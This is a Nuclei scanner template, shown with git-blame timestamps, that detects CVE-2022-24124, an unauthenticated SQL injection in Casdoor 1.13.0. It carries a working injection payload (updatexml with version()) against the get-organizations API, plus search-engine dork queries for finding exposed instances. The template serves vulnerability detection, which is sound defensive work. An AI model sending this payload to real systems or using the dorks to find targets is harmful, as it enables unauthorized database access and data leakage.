nuclei-templates/http/cves/2022/CVE-2022-24124.yaml

54 lines
2.1 KiB
YAML
Raw Normal View History

2022-02-28 13:53:30 +00:00
id: CVE-2022-24124
info:
name: Casdoor 1.13.0 - Unauthenticated SQL Injection
2022-02-28 13:53:30 +00:00
author: cckuailong
severity: high
description: Casdoor version 1.13.0 suffers from a remote unauthenticated SQL injection vulnerability via the query API in Casdoor before 1.13.1 related to the field and value parameters, as demonstrated by api/get-organizations.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
2023-09-06 11:59:08 +00:00
remediation: |
Upgrade to a patched version of Casdoor or apply the necessary security patches to mitigate the SQL injection vulnerability.
2022-02-28 13:53:30 +00:00
reference:
- https://packetstormsecurity.com/files/166163/Casdoor-1.13.0-SQL-Injection.html
2022-02-28 13:53:30 +00:00
- https://www.exploit-db.com/exploits/50792
- https://github.com/cckuailong/reapoc/tree/main/2022/CVE-2022-24124/vultarget
2022-02-28 22:01:40 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-24124
2023-07-11 19:49:27 +00:00
- https://github.com/casdoor/casdoor/compare/v1.13.0...v1.13.1
2022-02-28 13:53:30 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2022-24124
cwe-id: CWE-89
2024-05-31 19:23:20 +00:00
epss-score: 0.08991
epss-percentile: 0.94589
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:casbin:casdoor:*:*:*:*:*:*:*:*
metadata:
max-request: 1
2023-09-06 11:59:08 +00:00
vendor: casbin
2024-05-23 21:45:20 +00:00
product: casdoor
shodan-query:
- http.title:"Casdoor"
- http.title:"casdoor"
2024-05-31 19:23:20 +00:00
fofa-query: title="casdoor"
google-query: intitle:"casdoor"
2024-01-14 09:21:50 +00:00
tags: cve,cve2022,sqli,unauth,packetstorm,edb,casdoor,casbin
2022-02-28 13:53:30 +00:00
http:
2022-02-28 13:53:30 +00:00
- method: GET
path:
- "{{BaseURL}}/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=updatexml(1,version(),1)"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "XPATH syntax error.*&#39"
2022-02-28 22:01:40 +00:00
- "casdoor"
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022100f560744db8782ad612535dce9ba7773e911e30d89e3e9f020cf9023070d9fa8f02205b14f25f0640a9571259918031d458ce3e19a9c280767e1f6680d98b553e5ab0:922c64590222798bb761d5b6d8e72950